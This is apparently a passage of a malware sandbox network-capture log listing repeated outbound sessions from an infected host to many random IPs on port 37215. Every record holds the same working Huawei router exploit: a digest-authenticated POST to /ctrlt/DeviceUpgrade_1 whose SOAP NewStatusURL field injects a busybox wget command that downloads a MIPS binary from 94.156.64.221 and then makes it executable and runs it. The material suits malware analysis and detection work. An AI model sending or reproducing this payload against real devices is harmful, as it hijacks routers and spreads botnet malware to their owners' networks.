3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	49158	156.169.205.31	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307291985 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	60150	156.63.174.230	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307478905 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	54276	156.52.23.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307512045 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	60622	197.5.152.126	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307552099 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	41184	197.199.175.95	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307585955 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	38878	197.19.181.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307625055 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	40474	156.148.149.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307704926 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	41044	197.65.82.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307739019 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	49984	197.205.140.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307768106 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.23	52408	156.2.53.201	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307801008 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.23	46636	197.46.217.40	37215

Timestamp	Bytes transferred	Direction	Data
